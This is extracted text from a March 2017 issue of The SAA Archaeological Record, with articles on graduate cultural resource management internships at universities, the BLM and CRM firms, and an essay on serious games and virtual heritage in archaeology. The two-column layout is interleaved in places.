Philosophical Transactions of the Royal Society B: Biological Sci- Settings. American Antiquity 73:387–411. ences 365:2913–2926. Lundqvist, Jan, C. de Fraiture, and D. Molden Carmody, Stephen B. 2008 Saving Water: From Field to Fork—Curbing Losses and 2014 From Foraging to Food Production on the Southern Cumber- Wastage in the Food Chain. Stockholm International Water Insti- land Plateau of Alabama and Tennessee, U.S.A. Unpublished PhD tute Policy Brief, Stockholm, Sweden. dissertation, Department of Anthropology, University of Tennessee, McClung, Robertson C. Knoxville. 2014 Making Hunger Yield. Science 344(6185):699. Cribb, Julian Myers, Norman, Russell A. Mittermeier, Cristina G. Mittermeier, Gus- 2010 The Coming Famine: The Global Food Crisis and What We Can tavo A. B. da Fonseca, and Jennifer Kent Do to Avoid It. University of California Press, Berkley. 2000 Biodiversity Hotspots for Conservation Priorities. Nature Gleick, Peter H. 403:853–858. 2003 Global Freshwater Resources: Soft-Path Solutions for the 21st Pretty, Jules Century. Science 302(28):1524–1528. 2008 Agricultural Sustainability: Concepts, Principles, and Evi- Glover, Jerry D., and John P. Reganold dence. Philosophical Transactions of the Royal Society 363:447–465. 2010 Perennial Grains Food Security for the Future: Developing March 2017 • The SAA Archaeological Record 15 ARTICLE Pretty, Jules, and Zareen Pervez Bharucha 2014 Sustainable Intensification in Agricultural Systems. Annals of Botany 114:1571–1596. Price, T. Douglas 2009 Ancient Farming in Eastern North America. Proceedings of the National Academy of the Sciences 106(16):6427–6428. Rosegrant, Mark W., Ximing Cai, and Sarah A. Cline 2002 World Water and Food to 2025: Dealing with Scarcity. Interna- tional Food Policy Research Institute, Washington, DC. Rosegrant, Mark W., and Sarah A. Cline 2003 Global Food Security: Challenges and Policies. Science 302(5652):1917–1919. Ruttan, Vernon W. 1999 The Transition to Agricultural Sustainability. Proceedings of the National Academy of the Sciences 96:5960–5967. Sanderson, Eric W., Malanding Jaiteh, Marc A. Levy, Kent H. Redford, Antoinette V. Wannebo, and Gillian Woolmer 2002 The Human Footprint and the Last of the Wild. Bioscience 52(10):891–904. Sherwood, Sarah B., Stephen B. Carmody, Sierra Bow, Nicholas P. Herrmann, and Martin Knoll 2012 Michaels Shelter (40FR276): Preliminary Remote Sensing, Chronology, Geoarchaeology, Archaeobotany, and Ceramic Analy- sis. Paper Presented at the 24th Annual Meeting of Current Research in Tennessee Archaeology, Nashville, Tennessee. Smith, Bruce D., and Richard A. Yarnell 2009 Initial Formation of an Indigenous Crop Complex in Eastern North America at 3800 BP. Proceedings of the National Academy of the Sciences 106(16):6561–6566. Tilman, David 1999 Global Environmental Impacts of Agricultural Expansion: The Need for Sustainable and Efficient Practices. Proceedings of the National Academy of the Sciences 96:5995–6000. Tilman, David, Joseph Fargione, Brian Wolff, Carla D’Antonio, Andrew Dobson, Robert Howarth, David Schindler, William H. Schlesinger, Daniel Simberloff, and Deborah Swackhamer 2001 Forecasting Agriculturally Driven Global Environmental Change. Science 292(5515):281–284. United Nations Food and Agriculture Organization 2009 Global Agriculture Towards 2050. High Level Expert Forum. Electronic document, http://www.fao.org/fileadmin/templates/ wsfs/docs/Issues_papers/HLEF2050_Global_Agriculture.pdf, accessed December 19, 2016. Windingstad, Jason D., Sarah C. Sherwood, Kristen J. Gremillion, and N. S. Eash 2008 Soil Fertility and Slope Processes in the Western Cumberland Escarpment of Kentucky: Influences on the Development of Horti- culture in the Eastern Woodlands. Journal of Archaeological Science 35:1717–1731. World Health Organization 2015 World Health Organization Statistics. Department of Health Statistics and Information Systems, Geneva, Switzerland. Electronic document, http://www.who.int/gho/publications/world_health_ statistics/2015/en/, accessed December 19, 2016. 16 The SAA Archaeological Record • March 2017 GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES Diane Gifford-Gonzalez Diane Gifford-Gonzalez, RPA, is the president of SAA and a Distinguished Research Professor at the University of California, Santa Cruz. The following articles emerged from discussions with federal agency representatives and heads of CRM firms about chal-lenges of “succession issues” in their workplaces. Retiring baby boomers have worked for decades, often since the incep-tion of their branches of federal or state agencies, public utilities, or private firms. They know the less explicitly articulated aspects of getting the job done not spelled out in their workplace “qualifications standards.” Their commonly expressed concern was that simply completing a master’s in CRM does not prepare their successors for working effectively in agency or firm envi- ronments. Across the board, they advocated closing this practical knowledge gap through internships during the master’s years. Accordingly, I asked archaeologists from various placements to discuss CRM master’s-level internships in agencies and firms. We’d planned master’s-level internship discussions in two articles from universities, one from a firm, and three from federal agencies. After Donald Trump’s election, doubtless due to demands of preparing for as-yet undefined impacts on federal agen- cies, our agency roster saw attrition. Nonetheless, as SAA and coalition partners work to keep historic preservation protections in place, we must keep our eyes on maintaining maximum quality in generational transitions in archaeology’s CRM workforce. These articles offer members informative and thought-provoking perspectives on this. Internships in a New MA Program tion where the program director is too busy with CRM work in Applied Archaeology to devote her full attention to our students and the program; The Department of Anthropology at California State and 3) we do not want our lab spaces, used by other faculty,University, San Bernardino (CSUSB), welcomed its to be in danger of being overrun by the demands of CRMinaugural class of students to our new MA program in work, nor do we want our undergraduates to be sucked into Applied Archaeology in fall 2015. More than six years had CRM work simply because there is money available. We had passed since one of us (Robertshaw) first put fingers to key- also witnessed the success of the museum internships that board to draft the program proposal, and it has been a little were a key component of our certificate program in museum over a year since we hired its director, Amy Gusick. It’s been studies. We found that these internships often led to jobs, a long road, and we are now witnessing the fruits of our and even when they didn’t, students found them to be enjoy- labor as we prepare to confer degrees on our inaugural class able and valuable learning experiences. of twelve students. After a successful first year, we fine-tuned the program with a few modifications and course additions, With this format in mind, we developed our MA in Applied but one major aspect that remains unchanged is the intern- Archaeology with an internship component. One of our ship component. main goals was to offer an MA program that specifically focused on CRM. We were well aware of the common sce- When designing the curriculum, we decided to offer intern- nario of excited undergraduate students who obtained entry- ships for real-world cultural resources management (CRM) level positions in CRM, only to drop out of the industry experience rather than developing a CRM firm of our own on within a couple of years due to relatively low-paying, long, campus. We did this for three reasons: 1) we want to be part- often lonely days in the field surveying new pipeline or trans- ners with, not competitors of existing firms and agencies in mission line routes across the deserts of the Southwest. our region; 2) we do not want to find ourselves in the situa- Occasionally some of these former students realized that March 2017 • The SAA Archaeological Record 17 GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES they could have a longer-term career in CRM if they went Having worked in the CRM industry for several years, back to college and earned a suitable master’s degree. There Gusick leveraged her network of contacts, which led to were very few programs in southern California, however, numerous organizations willing to take on student interns, that focused on applied archaeology and even fewer that had including the Bureau of Land Management, the U.S. Forest class schedules to accommodate a student who did not or Service, state parks, five different local CRM firms, and a could not quit his or her full-time job. local tribal entity. Thus began the process of developing a two-year MA pro- During spring quarter of their first year, the students took an gram with all core courses offered in the evening to cater to internship for credit, which is a required course and counts those people wanting an advanced degree, but not wanting to toward their graduation. These internships were a smashing quit their jobs. In designing the curriculum, we referenced a success. Five of the students were hired on at the place they “Model Applied Archaeology Curriculum” that had just been interned after their internships ended, even before they had published in the SAA Archaeological Record (Neusius 2009), earned their degrees, and one student was able to secure a which promoted the inclusion of internships into applied position with a federal agency because of her internship archaeology programs. To ensure that there was enough experience. All of the students gained valuable on-the-job local interest in the program and willingness to support the training and made important connections in the CRM curriculum by offering internships, we reached out to local industry. As we enter the second year of the program, we CRM archaeologists and managers from public and private have heard from all the previous internship providers about institutions and some of the Native American tribes in the their excitement to continue their partnerships with CSUSB region to discuss our plans and to encourage them to partner due to the professionalism and dedication our graduate stu- with the university to offer internships. We presented the dents displayed while working at their internships. internships for what they were, a win-win for everyone involved. The students would benefit from the real-world As we prepare for the years ahead and strive to improve our experience and the chance to create contacts and network in program and offer a stellar education in applied archaeology, the CRM industry. The employers would benefit from the one component that will remain unchanged is our dedica- extra (free) help with their projects and be able to identify tion to the internship model for graduate level applied and train qualified people with the objective of hiring them archaeology programs. This has afforded our students the once they completed their MA. As it turns out, this is exactly opportunity to begin learning the skills and creating the net- what has happened. work of contacts necessary to secure a position with the CRM industry during or after completion of their MA degrees. We Upon arriving at CSUSB in fall 2015, Gusick began contact- have received positive feedback from everyone involved in ing local federal and state agencies, private firms, and tribal the internship process, including, most importantly, the stu- entities to discuss their willingness and capacity to provide dents, who are excited to be active and contributing mem- meaningful internships. As part of these conversations, she bers of the CRM workforce. was careful to discuss the educational goals for the intern- ship that helped identify those entities that had viable proj- ects on which they could train our students and in which our Reference Cited students were interested. We were keen to avoid a situation Neusius, Sarah W. where a student took an internship that left him or her sit- 2009 Changing the Curriculum: Preparing Archaeologists for ting in a room digitizing records or doing backlog filing. The Careers in Applied Archaeology. SAA Archaeological Record 12 students in the inaugural class had varying goals for their 9(1):18–22. internships. We had some students who wanted to try work- ing at a federal agency, others who wanted to go into consult- ing, and still others who wanted to work with local tribes. —Amy E. Gusick, assistant professor and director of the MA This diversity of interests reflects our focus on making sure program in Applied Archaeology, Department of Anthropology, the students understand that the CRM industry has a wide California State University, San Bernardino, and Peter variety of jobs and that the day-to-day tasks can be drastically Robertshaw, professor, Department of Anthropology, California different from one positon to the next. We viewed these State University, San Bernardino internship positions as a chance for the students to test-drive their planned career trajectory, so we wanted a variety of internship options from which the students could choose. 18 The SAA Archaeological Record • March 2017 GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES recently graduated from qualifying educational institutions. To be eligible, applicants must apply within two years of Bureau of Land Management Internships degree or certificate completion, except for veterans. Suc- cessful applicants will be placed in a dynamic, one-year train- “My internship allowed me to hone my field skills ing and career development appointment. and exposed me to the policy and regulationsguiding cultural resource management. My The features of this excepted service program appointment internship also gave me the opportunity to work on a project require candidates to meet the basic eligibility and mini- from start to finish, which is a bit of a rare thing,” explained mum qualification requirements outlined in the OPM Qual- Jamie Palmer, field archaeologist in the Cedar City Field ification Standard for the GS-0193 archaeological series. The Office, Utah. program is an intense, yearlong, on-the-job training and developmental appointment that requires a written agree- Alissa Leavitt-Reynolds, archaeologist in the Grand Junction ment that outlines the recent graduate and agency expecta- Field Office, Colorado, explained an important aspect of land tions, roles, and responsibilities and creates a development management internship programs: “Through my internship plan that outlines the position-specific training needed to I was exposed to a variety of multiuse programs and learned ensure career development and preparation for conversion. to interface with specialists from other fields.” Rebecca Finally, there are 40 hours of formal interactive training and Spitzer experienced the need to be flexible and prepared for an assigned mentor. Most important for individuals in this new tasks and challenges while working with people from program is that they are eligible for noncompetitive conver- other disciplines when wildfires broke out late in her intern- sion into a permanent or term position upon successfully ship. She was able to see her earlier cultural resource digiti- performing assigned duties and completing the program zation work aid in fire control plans and collaborative actions. requirements. Many archaeologists obtained their introduction and first The BLM DHA-RAI Program gives the agency the opportu- opportunities for federal service in the now defunct Student nity to bring fresh perspectives to the organization while Career Experience Program (SCEP) or Student Temporary working on specific projects targeted toward hard-to-fill and Employment Program (STEP). A significant reorganization high-demand occupational series. We solicit project propos- of the government’s internship programs occurred recently, als annually bureau-wide. These proposals are reviewed and which created new opportunities. President Obama signed rated by a diverse panel of agency officials. A few archaeology Executive Order 13562, which established the Internship students were hired through this program the past two years. Program and the Recent Graduates Program and updated Although these interns work with the BLM, the intern posi- the Presidential Management Fellows Program (PMF). tions are advertised and coordinated through our partner These two new programs, along with the PMF Program, col- organizations. The location and opportunities in this pro- lectively form the Bureau of Land Management (BLM) gram will vary year to year based on the proposals from our internship programs. Temporary (less than one year) and field locations. Participating interns are not federal govern- Career Pathways positions are advertised through ment employees. However, after successful completion of www.usajobs.gov. These positions may be offered through- the rigorous internship program, along with their conferred out the year. This article will focus on another program, the degree, a DHA-RAI Program participant may be directly BLM’s Recent Graduates Program, which is most applicable appointed without competition to a permanent position to graduate students. vacancy. Rebecca stated, “The program itself has given me an amaz- BLM Recent Graduates Program ing window into government work, especially within the The Department of Interior (DOI) Direct Hiring Authority BLM. I think that getting the chance to work in the agency for Resource Assistant Internship (DHA-RAI) Program is a before taking a permanent job is a great way for new gradu- new direct hiring initiative begun in 2014. In response to the ates and the BLM to evaluate if they are a good fit for each department’s initiative, the BLM developed an 11-week rigor- other before making a full commitment. I have met many ous internship program for current college students or fantastic individuals in the field office who I hope to remain recent graduates, with particular attention to Minority Serv- in contact with in the future. Even before the completion of ing Institutions, women, veterans, and individuals with dis- the program, I have already received a job offer.” Rebecca, a abilities. This new program targets individuals who have 2016 intern, now works as a contact representative for the March 2017 • The SAA Archaeological Record 19 GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES Central Coast Field Office, California. Alissa summarized, As with most opportunities, there are also challenges in pro- “Seeing how passionate federal employees were about cul- viding a successful internship program. These challenges tural resources and how they shared that passion through include federal regulations, contractual obligations, the edu- public interpretation and outreach helped me make the deci- cational level of the student, long-term planning and com- sion to become a federal archaeologist myself.” mitment on the part of the firm, and the need for close supervision of the intern. The Fair Labor Standards Act pro- For additional information this program, contact Takeya vides the following criteria for a person meeting the defini- Bland at tbland@blm.gov or 202-912-7508. tion of an intern: —Byron Loosle, division chief of Cultural, Paleontological 1. The internship, even though it includes actual operation Resources and Tribal Consultation at the Bureau of of the facilities of the employer, is similar to training Land Management which would be given in an educational environment; 2. The internship experience is for the benefit of the intern; 3. The intern does not displace regular employees, but works under close supervision of existing staff; 4. The employer that provides the training derives no imme- diate advantage from the activities of the intern; and on Internships within the Cultural Resource Management occasion its operations may actually be impeded; Industry: Opportunities and Challenges 5. The intern is not necessarily entitled to a job at the con- clusion of the internship; and Professional internships have been a part of the cultural 6. The employer and the intern understand that the internresource management (CRM) industry for over two is not entitled to wages for the time spent in the intern-decades. Although not all firms within the industry ship. [Fact Sheet #71: Internship Programs Under The have supported internship programs, the industry has a vest- Fair Labor Standards Act, http://www.dol.gov/whd/regs/ ed interest in the development of future professionals who compliance/whdfs71.pdf ] will be the next generation of leaders. Successful CRM industry leadership is dependent on a wide variety of skills, In summary, the firm cannot derive immediate benefit from including technical knowledge, management expertise (pro- the intern, and the intern must be closely supervised. The six ject, personnel, budgets, and schedules), and communica- legal criteria noted above must be applied when making a tion. The development of future professionals with the determination if an intern is required to be paid. If your appropriate skill set for our industry is dependent on a mul- internship program does not meet all of these criteria, the tipronged approach involving cooperation among our indus- intern must be paid. try, the academic system, professional organizations, and government agencies. The American Cultural Resources Contractual obligations may also affect the firm-intern rela- Association (ACRA) developed guidelines for internship pro- tionship. If the intern is working on a project being con- grams in 2011 to provide greater consistency in the develop- tracted through the Service Contract Act, the firm will be ment and implementation of such programs. More recently, required to pay the Department of Labor Wage Determina- however, ACRA has taken a more proactive stance in encour- tion for that area. In many cases this pay level is far above aging internship programs as a means of opening a new dia- what a firm would customarily pay an intern; consequently, logue with the academic system. This dialogue will hopefully many firms are reluctant to support interns under such cir- provide new opportunities for the academic system and the cumstances. Federal agencies that provide internships are CRM industry to collaboratively provide future leaders with not subject to these same requirements. Whether an intern the requisite skills for the sustainment of a healthy CRM is an undergrad or a graduate student also presents some industry. The opportunity also exists for the academic system challenges. Many firms typically require a bachelor’s degree and the CRM industry to work collaboratively in providing and a field school before accepting anyone for a field crew new solutions for cultural resource management and his- position. Undergraduates also have more restricted sched- toric preservation. Hopefully, this dialogue will contribute to ules that make it difficult to assign them to interesting proj- a better understanding of the needs and challenges for both ects. This situation often relegates the undergraduate intern the academic system and our industry. to an office situation unless the firm and the intern agree to 20 The SAA Archaeological Record • March 2017 GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES an unpaid internship. Graduate students, on the other hand, more often meet field crew position requirements and have much more flexible schedules. They are also likely to have Applied Anthropology Training and Internship research interests that are separate from a specific project to Preparation on the Graduate Level which they are assigned. he call for academic institutions to train MA-level stu- For the internship experience to be meaningful, the firm dents for applied work in archaeology is not new; how- must be committed to long-range planning, effective super- Tever, many institutions have been slow to respond. vision, and meaningful assignments. Things to consider Most of us in the profession can probably agree that many include workload and the availability of intern projects, staff students are not receiving the education and training needed support, office space, and financial resources. Due to the to compete for and successfully perform the majority of jobs training nature of an internship, it is imperative that interns currently available to archaeologists entering the profession are provided with sufficient supervision. Considerable time at the MA level. investment will be needed, especially on the front end, to plan for and implement necessary training. It is also recom- The University of Maryland developed its MAA (Master’s mended that the supervisor plan ongoing weekly meetings in Applied Anthropology) program in 1984 and has since to properly monitor the intern’s progress. Use care in identi- successfully trained several hundred students. About one- fying a seasoned staff member who understands the impor- third of these students focused in archaeology and most tance of the internship program. Students are seeking are now employed throughout the region in various gov- opportunities that will stimulate them and provide real expe- ernment agencies and CRM firms. The focus of the MAA rience. A good internship program will ensure the assign- program has been to participate in the building of anthro- ment of challenging projects and tasks. pological practice. Effective assignments are coupled with adequate documen- The MAA program consists of 42 credits, which includes 18 tation and evaluation to provide a meaningful experience. credits of CORE coursework, a 12-credit internship sequence, Documentation is very important for effective learning to and 12 credits of supporting course work. The supporting take place. It is strongly advisable that an employer and course work allows the student to focus on a specific area intern create mutually agreed upon learning objectives. Well- (such as the Middle Atlantic region history and archaeology) documented learning objectives provide clear direction and or specialty (like GIS). Students are also required to present targeted goals for the intern. This ensures both parties envi- the results of their internship in a departmental colloquium sion the same experience and reduces the possibility of mis- prior to graduation. There is no thesis requirement. understanding and disappointment. Effective learning objectives are concise and measurable. Whenever possible, Several factors have helped to create a successful outcome in try to include the intern in organization events such as staff preparing students for various positions in the workforce. meetings and allow opportunities for networking and infor- For instance, it is important for students to identify their mational interviewing with key personnel. career path early in the program. The student must assemble a committee consisting of department faculty and practition- In summary, the challenges for an internship program seem ers who offer supervision throughout the two-year program. daunting, but the partnership among the employer, the stu- The committee members provide advice, research guidance, dent, and the school provides opportunities that establish the and professional mentorship. The committee also assists the basis for a successful career choice for the student, collabo- student in identifying an appropriate internship and super- ration between the firm and the school, and the knowledge vises the student throughout the internship process. that the firm is supporting the continued health of the pro- fession and the CRM industry. Responsible CRM firms real- The internship sequence consists of a 3-credit pre-internship ize that they have a leadership responsibility in providing course, 6-credit internship, and 3-credit post-internship. The training for the industry’s future leaders. pre-internship course is taken in the spring semester of the first year. Students work to find an internship and then write —Duane E. Peter, vice president, Versar, Inc., and defend a proposal for their internship work. The pro- and president of ACRA posal should include a literature review (background), appli- cable theory, methods, goals and outcomes (products), timeline, and budget (if necessary). MAA students must March 2017 • The SAA Archaeological Record 21 GRADUATE CRM INTERNSHIPS: NECESSARY EXPERIENCE AND REGIONAL COMPLEXITIES satisfactorily complete an internship proposal review with level training is helping students develop critical thinking their advisory committee before beginning the internship. skills. Archaeologists, especially when they move into mana- gerial positions, often find themselves working with various The internship preparation course is then followed by a 6- stakeholders, sometimes in very difficult situations. Ethics credit internship, which is usually completed during the training and the development of ethnographic skills become summer term between the first and second years of the pro- part of a very important tool kit for operating in applied pro- gram. The structured internship with a government agency fessions. For instance, while NAGPRA legislated consulta- or CRM firm provides practical training and the student is tion with American Indian tribes, other monumental expected to create a useable product for the client. What is projects, like the African Burial Ground in New York City, important for the student is that the internship results have made archaeologists aware of the necessity to work with should be a product that he/she can claim on their CV, like local affiliated groups and acknowledge their perspectives. the authorship of a site report (or chapters in a site report), or any other type of official document. Our last survey of MAA alum (2015) indicates that close to 90 percent of our archaeology graduates are employed in The 3-credit post-internship course supports the profes- applied fields or in the academy, and the majority feel that sional development of skills in writing and presentation. Stu- their training has been valuable in their career success. dents are expected to complete a professional-quality report While the MAA program at the University of Maryland does or develop a publishable paper based on the internship expe- not necessarily train students for specific occupations, the rience. They will also present their internship results in a success of our program involves students identifying their paper or poster at a professional meeting as well as to stu- career path early in the MAA training and receiving strong dents and faculty at our annual colloquium. These products support throughout their graduate career. help students to professionalize and build their CVs. While practical skills training is important for future employ- —Paul A. Shackel, professor and chair of the Department of ment, probably the most important aspect of our graduate Anthropology at the University of Maryland in College Park 22 The SAA Archaeological Record • March 2017 March 2017 • The SAA Archaeological Record 23 VIDEO GAMES AND ARCHAEOLOGY BRINGING YOUR A-GAME TO DIGITAL ARCHAEOLOGY ISSUES WITH SERIOUS GAMES AND VIRTUAL HERITAGE AND WHAT WE CAN DO ABOUT IT Erik Champion Erik Champion is a professor of cultural visualization in the School of Media, Culture and Creative Arts at Curtin University, Perth, Australia. Wandering around museums or visiting art gal- (http://gamerant.com/ps4-xbox-one-life-cycle/), and inleries and school fairs, a relatively impartial many countries the game industry makes as much or moreobserver might notice the paucity of interactive money than the film industry, and the future looks even historical exhibitions. In particular there is still a yawning more profitable (Gartner 2013). Virtual reality (VR), by con- chasm between serious games masquerading as entertain- trast, seems to constantly promise more than it delivers ment and the aims and motivations of archaeology. Surely (Robertson 2015). this is resolved by virtual heritage projects (virtual reality applied to cultural heritage) and interactive virtual learning For example, a head-mounted display (HMD) is typically environments? After all, we have therapy games, flight sim- defined as a display worn on the head where the computer- ulators, online role-playing games, even games involving generated visual field changes when the person wearing the archaeological site inspections. Unfortunately, we have few display moves his or her head, and today’s HMDs usually successful case studies that are shareable, robust, and clearly also provide stereoscopic vision (Figure 1). The recent media delivering learning outcomes. blitz of cheaper and more comfortable and effective VR equipment such HMDs is exciting (Kim 2015; Smith 2015) Early virtual heritage environments were low resolution, and no doubt I will also buy one, but just like the earlier pre- unreliable, or required specialist equipment and had limited tenders, while the technology has obviously advanced, the interaction. Games were and still are far more interactive inspiring long-term content only appears to exist in videos and are arguably the most successful form of virtual environ- and artists’ impressions. ment, so it would seem to be a masterstroke to use game engines for virtual heritage. As interactive entertainment, most computer games follow obvious genres and feature affordances (well-known themes, Why have games succeeded where virtual reality has failed? rewards, and feedback on performance), they challenge peo- In terms of consumer technology there is virtually no com- ple to find out more rather than telling them everything (a petition. Games are typically highly polished, focused prod- sometimes annoying and overloading aspect of virtual envi- ucts. Large and loyal audiences follow them and if they allow ronments), and in most games learning through failure is modding (modification of their content), then the commu- acceptable (and required). And here lies another advantage nity of fans will produce an enviable amount of content, use- for games over virtual environments: games offer procedural ful feedback, and grassroots marketing for the game knowledge rather than the descriptive and prescriptive companies (Champion 2012). Virtual reality companies don’t knowledge found in virtual learning environments. have the loyal audience base, the dedicated and copyrighted content and technology pipeline, or the free advertising. Most definitions and explanations of games include the fol- lowing three features: a game has some goal in mind that the Game consoles are now the entertainment centers of so player works to achieve, systematic or emergent rules, and is many living rooms, the game consoles and related games considered a form of play or competition. Above all else, can last and be viable for six or eight years or more games are possibility spaces; they offer different ways of 24 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Figure 1. A developer’s version of the HTC VIVE head-mounted display. Photograph by Erik Champion. approaching the same problems, and because they are cessful serious games and education-focused virtual heritage played in the “magical circle,” failure does not lead to actual games are few and far between. The following preconcep- harm, which allows people to test out new strategies. That is tions about games (and game-based learning) could explain why, unlike other academics, I don’t view a game as primarily why more interactive and game-like heritage environments a rules-based system. I think of a game as an engaging (not have not emerged as both engaging entertainment and as frustrating) challenge that offers up the possibility of tempo- successful educational applications. rary or permanent tactical resolution without harmful out- comes to the real-world situation of the participant. The first and I think most common preconception of games is that they are puerile wastes of time. For an academic argument Despite the comparative success of computer games, suc- against this view, any publication on game-based learning by March 2017 • The SAA Archaeological Record 25 VIDEO GAMES AND ARCHAEOLOGY James Gee will provide some interesting insights, while ment doesn’t know the first thing about either.” I have not Steve Johnson in Everything Bad Is Good for You writes in a found the origin for this quote, but this saying is popular for similar if humorous way on how games help hone skills. a reason: many automatically assume entertainment is not educational or that to be meaningful, education cannot be Many critics believe games are only for children. Such a view entertaining. In the area of history this is a very worrying would conveniently ignore the adult enjoyment of sports, but it point. A recent survey of the American public found that also neglects the question of how we learn about culture. In the while they were charmed and inspired by the word “past,” vast majority of societies around the world people learn about the word “history” reminded them of a school-time subject culture as children through play, games, and role playing. that they dreaded (Rosenzweig and Thelen 2000). Games are also an integral method for transmitting cultural mores and social knowledge. In the “Operational Guidelines Gamification could be the commercial savior for many edu- for the Implementation of the World Heritage Convention” cational designers but it has many critics. Fuchs (2013) (http://whc.unesco.org/en/guidelines/), UNESCO specifically explained gamification as the use of game-based rules struc- states they may provide assistance for informational material tures and interfaces by corporations “to manage and control such as multimedia to promote the Convention and World brand-communities and to create value.” This definition Heritage “especially for young people.” reveals both the attraction of gamification to business and the derision it has received from game designers and aca- A related criticism of computer games is that they are only demics. about fantasy. While it is true that some human computer interaction (HCI) experts see fantasy as a key component of A more technical objection to using games for digital games, fantasy is also a popular component of literature, and archaeology projects is that they can only provide low-reso- fantasy provides a series of perceived affordances; players are lution quality for images, movies, and real-time interaction. asked to let their imagination fill in the gaps. So perhaps the- With all due respect, game engines (such as Crysis and matic imagination is a more appropriate term. Fantasy cre- Unreal 4) and archaeological environments created in game ates imaginative affordances, we have a greater idea of what engines (such as http://www.westergrenart.com/ or to expect and how to behave when we see fantasy genres, and http://www.byzantium1200.com/) would challenge many we are more willing to suspend disbelief. Fantasy helps CADD (computer-aided design and drafting) showcases. In induce narrative coherence and is a feasible vehicle to convey 2015 the Guardian released an article declaring we are enter- mythology connected to archaeology sites. ing the era of photorealistic rendering (Stuart 2015). Autodesk (the company behind the biggest CADD pro- Games are not only about fantasy but for many are also grams) has recognized the threat and now sells its own highly dependent on simulating violence. Yet some of the game engine. Even if CADD did produce higher-resolution biggest selling games are not violent, for example Minecraft, and more accurate 3D models, what advantage would this Mario, and the Sims series. A more serious problem for my offer over game-based, real-time interactive environments research has been when the real-world historical context to where the general public is free to explore? simulate is itself both horrific and hard to grasp. My objec- tion to violent computer games is not so much that they sim- The last preconception or rather I should say concern about ulate violence but that they don’t provide situations for the games is that they are not suitable for preservation due to player to question the ubiquitous and gratuitous use of vio- software and hardware obsolescence. Game-based virtual lence. By definition computer games are good at computing heritage environments are not great as digital heritage: the options quickly so it is easier to cater to reflex-based chal- technology does not last and the content is not maintained lenges, stopping players from thinking, from having time to and updated. I agree this is a major problem, but the prob- reflect, but challenging them to both move and aim (coordi- lem is more a lack of suitably maintained infrastructure than nate) at the same time. And when mainstream game interac- technology. In terms of usability research, there are very few tion is applied to virtual heritage and digital archaeology, the surveys and tangible results that have helped improve the information learned is not meaningful or clearly applicable field, but the biggest issue is preservation of the research to the real world, and the skills developed are not easily data and 3D models. We still lack a systematic pipeline fea- transferrable. turing open-source software; a well-organized online archive of 3D models in a robust open format; globally accepted Marshall McLuhan apparently once said, “Anyone who metadata; and a community who reviews, critiques, aug- thinks there is a difference between education and entertain- ments, and maintains suitable content. 26 The SAA Archaeological Record • March 2017 VIDEO GAMES AND ARCHAEOLOGY Definitions vary but virtual heritage is not an effective com- References Cited munication medium and is certainly not a great exponent of Champion, Erik (editor) digital heritage. Many of the great virtual heritage showcases 2012 Game Mods: Design, Theory and Criticism: Entertainment such as Rome Reborn or Beyond Space and Time (IBM) have Technology Centre Press, Pittsburgh, Pennsylvania. been taken offline, use proprietary software, or have simply Fuchs, Mathias disappeared due to a lack of long-term maintenance. So 2013 CfP: Rethinking Gamification Workshop. Art and Civic there are very few existing exemplars and accessible show- Media Lab at the Centre for Digital Cultures, Leuphana Univer- cases to learn from (CINECA’s Blender pipeline sity, Germany. Electronic document, http://projects.digital- [https://www.blendernetwork.org/cineca] is an exception to cultures.net/gamification/2013/02/07/118/, accessed December the rule). 15, 2014. Gartner Many game engines can now export to a variety of 3D for- 2013 Gartner Says Worldwide Video Game Market to Total $93 mats and run across a variety of platforms and devices. They Billion in 2013. Electronic document, http://www.gartner.com/ can export Virtual Reality Modeling Language (VRML) and newsroom/id/2614915, accessed December 24, 2015. now also Web Graphics Libraries (WebGL), so interactive 3D Johnson, Steven models can run in an Internet browser without requiring the 2005 Everything Bad Is Good for You: Why Today’s Popular Cul- end user to download a web-based plug-in. Some game ture Is Actually Making Us Smarter. Riverbed Books, New York. engines can dynamically import media assets at runtime; Kim, Monica others can run off a database. 2015 The Good and the Bad of Escaping to Virtual Reality. Atlantic, February 15. Electronic document, http://www. UNESCO recently accepted my proposal for a Chair of Cul- theatlantic.com/health/archive/2015/02/the-good-and-the-bad- of-escaping-to-virtual-reality/385134/, accessed March 8, 2016. tural Heritage and Visualisation. This chair will help us Robertson, Adi develop infrastructure and a repository of 3D heritage mod- 2015 Slow Down the Virtual Reality Hype. We’re Still Waiting els for better access by the public. We intend to survey and for the Good Stuff. Verge, January 8. Electronic document, collate existing world heritage models, unify the metadata http://www.theverge.com/2015/1/8/7514337/ces-2015-state-of- schemas, determine the best and most robust 3D format for virtual-reality, accessed March 8, 2016. online archives and web-based displays, provide training Rosenzweig, Roy, and Thelen, David material on free, open-source software such as Blender, and 2000 The Presence of the Past: Popular Uses of History in American demonstrate ways to link 3D models and subcomponents to Life. Columbia University Press, New York. relevant online resources. Smith, Will 2015 Stop Calling Google Cardboard’s 360-Degree Videos “VR.” Wired, November 16. Electronic document, http://www.wired.com/ Conclusion: Archaeologists and Games Do Not Mix? 2015/11/360-video-isnt-virtual-reality/, accessed March 8, 2016. Archaeologists and suitable games could mix if games Stuart, Keith existed that leveraged game mechanics to help teach archae- 2015 Photorealism—The Future of Video Game Visuals. ological methods, approaches, and interpretations. As far as Guardian, February 12. Electronic document, http://www.the- I know, archaeologists don’t have easy-to-translate mechanics guardian.com/technology/2015/feb/12/future-of-video-gaming- for their process of discovery and understanding that we can visuals-nvidia-rendering, accessed October 31, 2015. transform into game mechanics to engage and educate the public with the methods and approaches of archaeology and heritage studies. And yet virtual heritage environments should be interactive because data changes and technologies change. Interaction can provide for different types of learn- ing preferences and interaction will draw in the younger generations. My solution is to suggest that rather than concentrate on the technology, archaeologists should focus on the expected audience. What do we want to show with digital technology, for what purpose, for which audience, and how will we know when we have succeeded? March 2017 • The SAA Archaeological Record 27 VIDEO GAMES AND ARCHAEOLOGY AN UNEXPECTED ARCHAEOLOGY AN INTERVENTIONIST STRATEGY FOR VIDEO GAMES AND 